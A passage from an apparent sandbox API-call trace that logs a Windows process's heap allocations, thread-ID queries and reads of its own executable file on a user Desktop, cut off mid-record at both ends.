returned 0x9b0 [0074.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ab0 [0074.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8028 [0074.779] GetCurrentThreadId () returned 0x9b0 [0074.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8ab0 | out: hHeap=0x2ad0000) returned 1 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8028 | out: hHeap=0x2ad0000) returned 1 [0074.780] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ac0ad8 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af60 [0074.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afa0 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0074.780] GetCurrentThreadId () returned 0x9b0 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ff8 | out: hHeap=0x2ad0000) returned 1 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f98 | out: hHeap=0x2ad0000) returned 1 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbaef8 | out: hHeap=0x2ad0000) returned 1 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af90 | out: hHeap=0x2ad0000) returned 1 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ef0 | out: hHeap=0x2ad0000) returned 1 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0ad8 | out: hHeap=0x2ad0000) returned 1 [0074.780] GetCurrentThreadId () returned 0x9b0 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7070 | out: hHeap=0x2ad0000) returned 1 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7a48 | out: hHeap=0x2ad0000) returned 1 [0074.780] GetCurrentThreadId () returned 0x9b0 [0074.780] GetCurrentThreadId () returned 0x9b0 [0074.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7700 [0074.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7700 | out: hHeap=0x2ad0000) returned 1 [0074.780] GetCurrentThreadId () returned 0x9b0 [0074.781] GetCurrentThreadId () returned 0x9b0 [0074.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7ea8 [0074.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7ea8 | out: hHeap=0x2ad0000) returned 1 [0074.781] GetCurrentThreadId () returned 0x9b0 [0074.781] GetCurrentThreadId () returned 0x9b0 [0074.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7c78 [0074.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7c78 | out: hHeap=0x2ad0000) returned 1 [0074.781] GetCurrentThreadId () returned 0x9b0 [0074.781] GetCurrentThreadId () returned 0x9b0 [0074.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba72a0 [0074.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba72a0 | out: hHeap=0x2ad0000) returned 1 [0074.781] GetCurrentThreadId () returned 0x9b0 [0074.781] GetCurrentThreadId () returned 0x9b0 [0074.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7a48 [0074.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7c78 [0074.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8998 [0074.781] GetCurrentThreadId () returned 0x9b0 [0074.781] GetCurrentThreadId () returned 0x9b0 [0074.781] GetCurrentThreadId () returned 0x9b0 [0074.781] GetCurrentThreadId () returned 0x9b0 [0074.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8998 | out: hHeap=0x2ad0000) returned 1 [0074.781] GetCurrentThreadId () returned 0x9b0 [0074.781] GetCurrentThreadId () returned 0x9b0 [0074.781] GetLastError () returned 0x0 [0074.781] GetLastError () returned 0x0 [0074.782] GetLastError () returned 0x0 [0074.782] GetLastError () returned 0x0 [0074.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b000 [0074.782] GetLastError () returned 0x0 [0074.782] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b7288, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.782] GetFileType (hFile=0x1ec) returned 0x1 [0074.782] GetLastError () returned 0x0 [0074.782] GetCurrentThreadId () returned 0x9b0 [0074.782] GetLastError () returned 0x0 [0074.782] GetFileType (hFile=0x1ec) returned 0x1 [0074.782] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7304 | out: lpFileInformation=0x9b7304) returned 1 [0074.782] FileTimeToLocalFileTime (in: lpFileTime=0x9b7318, lpLocalFileTime=0x9b7348 | out: lpLocalFileTime=0x9b7348) returned 1 [0074.782] FileTimeToSystemTime (in: lpFileTime=0x9b7348, lpSystemTime=0x9b7338 | out: lpSystemTime=0x9b7338) returned 1 [0074.782] FileTimeToLocalFileTime (in: lpFileTime=0x9b7310, lpLocalFileTime=0x9b7348 | out: lpLocalFileTime=0x9b7348) returned 1 [0074.782] FileTimeToSystemTime (in: lpFileTime=0x9b7348, lpSystemTime=0x9b7338 | out: lpSystemTime=0x9b7338) returned 1 [0074.782] FileTimeToLocalFileTime (in: lpFileTime=0x9b7308, lpLocalFileTime=0x9b7348 | out: lpLocalFileTime=0x9b7348) returned 1 [0074.782] FileTimeToSystemTime (in: lpFileTime=0x9b7348, lpSystemTime=0x9b7338 | out: lpSystemTime=0x9b7338) returned 1 [0074.782] GetLastError () returned 0x0 [0074.782] GetCurrentThreadId () returned 0x9b0 [0074.783] GetLastError () returned 0x0 [0074.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0074.783] GetCurrentThreadId () returned 0x9b0 [0074.783] GetLastError () returned 0x0 [0074.783] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=8723285, lpDistanceToMoveHigh=0x9b73b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b73b8*=0) returned 0x851b55 [0074.783] GetLastError () returned 0x0 [0074.783] GetCurrentThreadId () returned 0x9b0 [0074.783] GetLastError () returned 0x0 [0074.783] GetCurrentThreadId () returned 0x9b0 [0074.783] GetLastError () returned 0x0 [0074.783] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7029998, lpDistanceToMoveHigh=0x9b7750*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b7750*=0) returned 0x6b44ee [0074.783] GetLastError () returned 0x0 [0074.784] GetCurrentThreadId () returned 0x9b0 [0074.784] GetLastError () returned 0x0 [0074.784] GetCurrentThreadId () returned 0x9b0 [0074.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x723) returned 0x2aa2198 [0074.784] GetLastError () returned 0x0 [0074.784] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cc24c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b7704, lpOverlapped=0x0 | out: lpBuffer=0x2cc24c8*, lpNumberOfBytesRead=0x9b7704*=0x1000, lpOverlapped=0x0) returned 1 [0074.784] GetLastError () returned 0x0 [0074.785] GetCurrentThreadId () returned 0x9b0 [0074.785] GetLastError () returned 0x0 [0074.785] GetCurrentThreadId () returned 0x9b0 [0074.785] GetLastError () returned 0x0 [0074.785] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b63dc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b63dc*=0) returned 0x6b54ee [0074.785] GetLastError () returned 0x0 [0074.785] GetCurrentThreadId () returned 0x9b0 [0074.785] GetLastError () returned 0x0 [0074.785] GetLastError () returned 0x0 [0074.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc24c8 | out: hHeap=0x2ad0000) returned 1 [0074.785] CloseHandle (hObject=0x1ec) returned 1 [0074.785] GetLastError () returned 0x0 [0074.785] GetCurrentThreadId () returned 0x9b0 [0074.785] GetLastError () returned 0x0 [0074.785] GetLastError () returned 0x0 [0074.785] GetCurrentThreadId () returned 0x9b0 [0074.785] GetLastError () returned 0x0 [0074.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.785] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3020048, Size=0x1077) returned 0x3020048 [0074.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2198 | out: hHeap=0x2ad0000) returned 1 [0074.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f98 [0074.786] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f98, Size=0x20) returned 0x2a1f920 [0074.786] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f920, Size=0x40) returned 0x2a191c0 [0074.786] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a191c0, Size=0x64) returned 0x2a199d8 [0074.786] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a199d8, Size=0x8c) returned 0x2ac0910 [0074.786] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0910, Size=0xb8) returned 0x2ac91d0 [0074.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac91d0 | out: hHeap=0x2ad0000) returned 1 [0074.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3020048 | out: hHeap=0x2ad0000) returned 1 [0074.786] GetCurrentThreadId () returned 0x9b0 [0074.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b030 [0074.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0074.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbbb38 [0074.786] GetCurrentThreadId () returned 0x9b0 [0074.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7ea8 [0074.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7ea8 | out: hHeap=0x2ad0000) returned 1 [0074.786] GetCurrentThreadId () returned 0x9b0 [0074.786] GetCurrentThreadId () returned 0x9b0 [0074.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8998 [0074.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8998 | out: hHeap=0x2ad0000) returned 1 [0074.786] GetCurrentThreadId () returned 0x9b0 [0074.786] GetCurrentThreadId () returned 0x9b0 [0074.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba80d8 [0074.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba80d8 | out: hHeap=0x2ad0000) returned 1 [0074.787] GetCurrentThreadId () returned 0x9b0 [0074.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca80b8 [0074.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb9b0 [0074.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af30 [0074.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f98 [0074.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af50 [0074.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aef0 [0074.787] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af50, Size=0x14) returned 0x2a71700 [0074.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aef0 | out: hHeap=0x2ad0000) returned 1 [0074.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f68 | out: hHeap=0x2ad0000) returned 1 [0074.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f98 | out: hHeap=0x2ad0000) returned 1 [0074.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af30 | out: hHeap=0x2ad0000) returned 1 [0074.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0074.787] GetCurrentThreadId () returned 0x9b0 [0074.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbaef8 [0074.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aef0 [0074.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8160 [0074.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae60 [0074.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af70 [0074.787] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8ae60, Size=0x14) returned 0x2a71680 [0074.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af70 | out: hHeap=0x2ad0000) returned 1 [0074.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f80 | out: hHeap=0x2ad0000) returned 1 [0074.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8160 | out: hHeap=0x2ad0000) returned 1 [0074.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aef0 | out: hHeap=0x2ad0000) returned 1 [0074.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0074.788] GetCurrentThreadId () returned 0x9b0 [0074.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7c78 | out: hHeap=0x2ad0000) returned 1 [0074.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7a48 | out: hHeap=0x2ad0000) returned 1 [0074.788] GetCurrentThreadId () returned 0x9b0 [0074.788] GetCurrentThreadId () returned 0x9b0 [0074.788] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7fc0 [0074.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7fc0 | out: hHeap=0x2ad0000) returned 1 [0074.788] GetCurrentThreadId () returned 0x9b0 [0074.788] GetCurrentThreadId () returned 0x9b0 [0074.788] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ce0 [0074.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8ce0 | out: hHeap=0x2ad0000) returned 1 [0074.788] GetCurrentThreadId () returned 0x9b0 [0074.788] GetCurrentThreadId () returned 0x9b0 [0074.788] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8420 [0074.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8420 | out: hHeap=0x2ad0000) returned 1 [0074.788] GetCurrentThreadId () returned 0x9b0 [0074.788] GetCurrentThreadId () returned 0x9b0 [0074.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8420 [0074.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8420 | out: hHeap=0x2ad0000) returned 1 [0074.789] GetCurrentThreadId () returned 0x9b0 [0074.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a975e8 [0074.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb828 | out: hHeap=0x2ad0000) returned 1 [0074.789] GetCurrentThreadId () returned 0x9b0 [0074.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8420 [0074.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8420 | out: hHeap=0x2ad0000) returned 1 [0074.789] GetCurrentThreadId () returned 0x9b0 [0074.789] GetCurrentThreadId () returned 0x9b0 [0074.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7c78 [0074.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7c78 | out: hHeap=0x2ad0000) returned 1 [0074.789] GetCurrentThreadId () returned 0x9b0 [0074.789] GetCurrentThreadId () returned 0x9b0 [0074.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8bc8 [0074.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8bc8 | out: hHeap=0x2ad0000) returned 1 [0074.789] GetCurrentThreadId () returned 0x9b0 [0074.789] GetCurrentThreadId () returned 0x9b0 [0074.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7a48 [0074.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7a48 | out: hHeap=0x2ad0000) returned 1 [0074.789] GetCurrentThreadId () returned 0x9b0 [0074.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x17c) returned 0x2bbb828 [0074.789] GetCurrentThreadId () returned 0x9b0 [0074.789] GetCurrentThreadId () returned 0x9b0 [0074.790] GetCurrentThreadId () returned 0x9b0 [0074.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb828 | out: hHeap=0x2ad0000) returned 1 [0074.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x17c) returned 0x2bbb080 [0074.790] GetCurrentThreadId () returned 0x9b0 [0074.790] GetCurrentThreadId () returned 0x9b0 [0074.790] GetCurrentThreadId () returned 0x9b0 [0074.790] GetCurrentThreadId () returned 0x9b0 [0074.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb080 | out: hHeap=0x2ad0000) returned 1 [0074.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x17c) returned 0x2bbb080 [0074.790] GetCurrentThreadId () returned 0x9b0 [0074.790] GetCurrentThreadId () returned 0x9b0 [0074.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb080 | out: hHeap=0x2ad0000) returned 1 [0074.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x17c) returned 0x2bbb828 [0074.790] GetCurrentThreadId () returned 0x9b0 [0074.790] GetCurrentThreadId () returned 0x9b0 [0074.790] GetCurrentThreadId () returned 0x9b0 [0074.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb828 | out: hHeap=0x2ad0000) returned 1 [0074.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x17c) returned 0x2bbb080 [0074.790] GetCurrentThreadId () returned 0x9b0 [0074.791] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2c1b228 [0074.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a975e8 | out: hHeap=0x2ad0000) returned 1 [0074.791] GetCurrentThreadId () returned 0x9b0 [0074.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb080 | out: hHeap=0x2ad0000) returned 1 [0074.791] GetCurrentThreadId () returned 0x9b0 [0074.791] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8768 [0074.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8768 | out: hHeap=0x2ad0000) returned 1 [0074.791] GetCurrentThreadId () returned 0x9b0 [0074.791] GetCurrentThreadId () returned 0x9b0 [0074.791] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7fc0 [0074.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7fc0 | out: hHeap=0x2ad0000) returned 1 [0074.791] GetCurrentThreadId () returned 0x9b0 [0074.791] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb080 [0074.791] GetCurrentThreadId () returned 0x9b0 [0074.791] GetCurrentThreadId () returned 0x9b0 [0074.791] GetCurrentThreadId () returned 0x9b0 [0074.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbb080 | out: hHeap=0x2ad0000) returned 1 [0074.791] GetCurrentThreadId () returned 0x9b0 [0074.791] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8420 [0074.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8420 | out: hHeap=0x2ad0000) returned 1 [0074.791] GetCurrentThreadId () returned 0x9b0 [0074.791] GetCurrentThreadId () returned 0x9b0 [0074.791] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8650 [0074.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8650 | out: hHeap=0x2ad0000) returned 1 [0074.792] GetCurrentThreadId () returned 0x9b0 [0074.792] GetCurrentThreadId () returned 0x9b0 [0074.792] GetCurrentThreadId () returned 0x9b0 [0074.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba80d8 [0074.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba80d8 | out: hHeap=0x2ad0000) returned 1 [0074.792] GetCurrentThreadId () returned 0x9b0 [0074.792] GetCurrentThreadId () returned 0x9b0 [0074.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7c78 [0074.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7c78 | out: hHeap=0x2ad0000) returned 1 [0074.792] GetCurrentThreadId () returned 0x9b0 [0074.792] GetCurrentThreadId () returned 0x9b0 [0074.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8f10 [0074.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8f10 | out: hHeap=0x2ad0000) returned 1 [0074.792] GetCurrentThreadId () returned 0x9b0 [0074.792] GetCurrentThreadId () returned 0x9b0 [0074.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba80d8 [0074.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba80d8 | out: hHeap=0x2ad0000) returned 1 [0074.792] GetCurrentThreadId () returned 0x9b0 [0074.792] GetCurrentThreadId () returned 0x9b0 [0074.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8f10 [0074.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8f10 | out: hHeap=0x2ad0000) returned 1 [0074.792] GetCurrentThreadId () returned 0x9b0 [0074.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aef0 [0074.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0074.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb00 [0074.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae60 [0074.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af30 [0074.793] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8ae60, Size=0x14) returned 0x2a71940 [0074.793] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71940, Size=0x24) returned 0x2a201c8 [0074.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af30 | out: hHeap=0x2ad0000) returned 1 [0074.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb00 | out: hHeap=0x2ad0000) returned 1 [0074.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0074.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afd0 [0074.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0074.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0074.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0074.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fb78 [0074.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.793] GetCurrentThreadId () returned 0x9b0 [0074.793] GetCurrentThreadId () returned 0x9b0 [0074.793] GetCurrentThreadId () returned 0x9b0 [0074.794] GetCurrentThreadId () returned 0x9b0 [0074.794] GetCurrentThreadId () returned 0x9b0 [0074.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0074.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2cbc5c0 [0074.794] GetCurrentThreadId () returned 0x9b0 [0074.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc5c0 | out: 